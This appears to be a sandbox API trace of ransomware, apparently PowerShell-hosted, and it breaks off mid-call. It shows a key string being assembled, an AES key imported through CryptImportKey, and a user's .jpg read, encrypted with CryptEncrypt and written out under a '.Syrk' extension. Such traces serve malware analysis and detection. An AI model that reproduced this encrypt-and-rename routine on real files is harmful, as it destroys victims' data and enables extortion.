SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0250.176] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0250.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0250.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0250.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0250.176] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.176] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0250.176] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0250.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0250.176] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.177] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0250.177] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0250.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0250.177] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.177] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0250.177] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0250.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0250.177] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.177] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0250.177] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0250.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0250.177] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.178] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0250.178] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0250.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0250.178] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.178] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0250.178] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0250.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0250.178] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.178] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0250.178] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0250.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0250.178] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.179] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0250.179] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0250.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0250.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0250.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0250.179] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.179] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0250.179] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0250.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0250.179] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.180] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0250.180] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0250.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0250.180] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.180] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0250.180] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0250.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0250.180] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.180] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0250.180] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0250.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0250.180] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.181] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0250.181] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0250.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0250.181] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.181] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0250.181] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0250.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0250.181] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.181] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0250.181] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0250.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0250.181] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.182] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0250.182] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0250.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0250.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0250.284] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0250.284] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0250.284] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0250.284] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0250.284] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0250.284] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0250.284] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0250.284] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0250.284] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0250.285] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0250.285] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0250.285] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0250.285] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0250.285] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0250.285] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0250.285] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0250.285] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0250.285] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0250.285] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0250.285] EtwEventActivityIdControl () returned 0x0 [0250.285] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0250.285] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0250.286] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0250.286] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0250.287] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d188) returned 1 [0250.289] CryptImportKey (in: hProv=0x5c4d188, pbData=0x24942a4*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c997a0) returned 1 [0250.289] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0250.289] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.289] EtwEventActivityIdControl () returned 0x0 [0250.290] EtwEventActivityIdControl () returned 0x0 [0250.290] EtwEventActivityIdControl () returned 0x0 [0250.300] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg")) returned 0x20 [0250.300] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg")) returned 0x20 [0250.300] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.300] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", lpFilePart=0x0) returned 0x2e [0250.301] EtwEventActivityIdControl () returned 0x0 [0250.301] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.301] EtwEventActivityIdControl () returned 0x0 [0250.301] EtwEventActivityIdControl () returned 0x0 [0250.301] EtwEventActivityIdControl () returned 0x0 [0250.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", lpFilePart=0x0) returned 0x2e [0250.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0250.303] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0250.303] GetFileType (hFile=0x3c4) returned 0x1 [0250.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0250.303] GetFileType (hFile=0x3c4) returned 0x1 [0250.303] EtwEventActivityIdControl () returned 0x0 [0250.303] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.303] EtwEventActivityIdControl () returned 0x0 [0250.303] EtwEventActivityIdControl () returned 0x0 [0250.303] EtwEventActivityIdControl () returned 0x0 [0250.304] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0250.304] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg.Syrk", lpFilePart=0x0) returned 0x33 [0250.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0250.305] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0250.305] GetFileType (hFile=0x454) returned 0x1 [0250.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0250.305] GetFileType (hFile=0x454) returned 0x1 [0250.305] EtwEventActivityIdControl () returned 0x0 [0250.305] CryptGenRandom (in: hProv=0x5c4d188, dwLen=0x10, pbBuffer=0x24a4704 | out: pbBuffer=0x24a4704) returned 1 [0250.306] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0250.306] CryptDuplicateKey (in: hKey=0x5c997a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99760) returned 1 [0250.306] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0250.306] CryptSetKeyParam (hKey=0x5c99760, dwParam=0x4, pbData=0x24a5a3c*=0x1, dwFlags=0x0) returned 1 [0250.307] CryptSetKeyParam (hKey=0x5c99760, dwParam=0x1, pbData=0x24a5a08, dwFlags=0x0) returned 1 [0250.307] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.307] EtwEventActivityIdControl () returned 0x0 [0250.307] EtwEventActivityIdControl () returned 0x0 [0250.307] EtwEventActivityIdControl () returned 0x0 [0250.308] EtwEventActivityIdControl () returned 0x0 [0250.308] ReadFile (in: hFile=0x3c4, lpBuffer=0x24a8678, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24a8678*, lpNumberOfBytesRead=0x5a2e7d8*=0xa5e5, lpOverlapped=0x0) returned 1 [0250.310] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24bc690*, pdwDataLen=0x5a2e7cc*=0xa5e0, dwBufLen=0xa5e0 | out: pbData=0x24bc690*, pdwDataLen=0x5a2e7cc*=0xa5e0) returned 1 [0250.310] WriteFile (in: hFile=0x454, lpBuffer=0x24a47ec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24a47ec*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0250.311] WriteFile (in: hFile=0x454, lpBuffer=0x24bd67c*, nNumberOfBytesToWrite=0x95f4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24bd67c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x95f4, lpOverlapped=0x0) returned 1 [0250.312] ReadFile (in: hFile=0x3c4, lpBuffer=0x24a8678, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24a8678*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0250.312] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24c6c7c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24c6c7c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0250.312] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24c6c98*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24c6c98*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0250.313] WriteFile (in: hFile=0x454, lpBuffer=0x24a47ec*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24a47ec*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0250.313] CloseHandle (hObject=0x454) returned 1 [0250.314] CloseHandle (hObject=0x3c4) returned 1 [0250.315] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.315] EtwEventActivityIdControl () returned 0x0 [0250.315] EtwEventActivityIdControl () returned 0x0 [0250.315] EtwEventActivityIdControl () returned 0x0 [0250.319] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg")) returned 0x20 [0250.321] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.321] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: 